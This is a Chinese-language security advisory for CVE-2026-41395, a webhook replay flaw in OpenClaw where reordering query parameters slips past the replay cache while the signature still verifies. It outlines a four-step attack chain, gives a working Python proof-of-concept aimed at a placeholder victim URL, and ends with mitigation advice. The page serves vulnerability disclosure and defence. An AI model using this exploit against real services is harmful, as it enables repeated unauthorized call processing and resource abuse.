IPBUF安全漏洞报告
English
CVE-2026-41395 CVSS 7.5 高危

CVE-2026-41395 OpenClaw Webhook重放漏洞

披露日期: 2026-04-28

漏洞信息

漏洞编号
CVE-2026-41395
漏洞类型
Webhook重放
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

Webhook重放OpenClaw逻辑漏洞认证绕过

漏洞概述

OpenClaw 在 2026.3.28 之前的版本中存在一个 webhook 重放漏洞。该漏洞源于 Plivo V3 签名验证机制在处理请求时存在逻辑缺陷。具体而言,系统虽然在签名验证时对查询参数的顺序进行了规范化处理,但在进行重放检测时却对原始 URL 进行哈希计算。这种不一致性允许攻击者在获取到有效的签名 webhook 请求后,通过重新排列查询参数的顺序来绕过重放缓存的检测机制,从而触发重复的语音呼叫处理流程。

技术细节

该漏洞的技术核心在于签名验证逻辑与重放防护逻辑之间的不一致性。在 OpenClaw 集成 Plivo V3 进行签名验证时,为了确保签名校验的正确性,系统会对 URL 中的查询参数进行规范化处理(例如按字母顺序排序),随后计算哈希值并与请求头中的签名进行比对。然而,在实施重放攻击防护时,系统却错误地对未经处理的原始 URL 字符串进行哈希运算,并将结果存储在缓存中用于查重。当攻击者截获到一个合法的、已签名的 Webhook 请求时,由于原始 URL 的哈希值已被缓存,直接重放该请求会被拦截。但是,攻击者可以利用 URL 参数顺序的特性,在不改变参数键值对的前提下,调整其在 URL 中的排列顺序。由于签名验证模块会对参数进行重新排序,因此篡改顺序后的请求依然能够通过签名校验。与此同时,重放防护模块计算的是新的、参数顺序改变后的 URL 哈希值,该值并不存在于缓存中,从而导致防护失效。这使得攻击者能够利用同一个有效的签名凭证,无限次地触发后端业务逻辑(如语音呼叫),造成资源滥用或业务损失。

攻击链分析

STEP 1
步骤1:信息收集
攻击者截获从 Plivo 服务发送到 OpenClaw 服务器的有效 Webhook 请求,获取包含签名和参数的 URL。
STEP 2
步骤2:参数篡改
攻击者分析 URL 中的查询参数,并在不改变参数键值对内容的前提下,调整参数的排列顺序(例如将 ?a=1&b=2 改为 ?b=2&a=1)。
STEP 3
步骤3:重放攻击
攻击者发送修改顺序后的请求。OpenClaw 的签名验证模块会对参数重新排序校验,校验通过;但重放检测模块计算的是新的 URL 哈希值,未命中缓存。
STEP 4
步骤4:执行恶意操作
服务器误认为这是一个新的合法请求,执行重复的业务逻辑(如重复处理语音通话),导致资源耗尽或业务混乱。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import urllib.parse def exploit_webhook_replay(original_url): """ Exploit the webhook replay vulnerability by reordering query parameters. The signature verification normalizes params, but replay detection hashes the raw URL. """ # Parse the original URL parsed = urllib.parse.urlparse(original_url) params = urllib.parse.parse_qs(parsed.query) # Extract parameter keys keys = list(params.keys()) # Reverse the order of keys to create a new raw URL string # (Any permutation that differs from the original works) keys.reverse() # Reconstruct the query string with the new order new_params = [] for key in keys: for value in params[key]: new_params.append((key, value)) new_query = urllib.parse.urlencode(new_params) # Build the new URL replay_url = parsed._replace(query=new_query).geturl() print(f"[+] Original URL: {original_url}") print(f"[+] Replay URL: {replay_url}") # Send the malicious replay request try: response = requests.get(replay_url) print(f"[+] Response Status Code: {response.status_code}") if response.status_code == 200: print("[!] Replay successful! Request accepted by server.") else: print("[-] Replay failed.") except Exception as e: print(f"[-] Error during request: {e}") if __name__ == "__main__": # Example captured webhook URL target = "https://api.victim.com/webhook/plivo?call_uuid=123&status=completed&signature=GENERATED_SIG_HASH" exploit_webhook_replay(target)

影响范围

OpenClaw < 2026.3.28

防御指南

临时缓解措施
如果无法立即升级,建议在 Web 应用防火墙(WAF)或反向代理层面配置去重规则,识别并拦截短时间内包含相同业务参数但参数顺序不同的重复请求,或者暂时禁用受影响的 Webhook 接收功能以防止攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表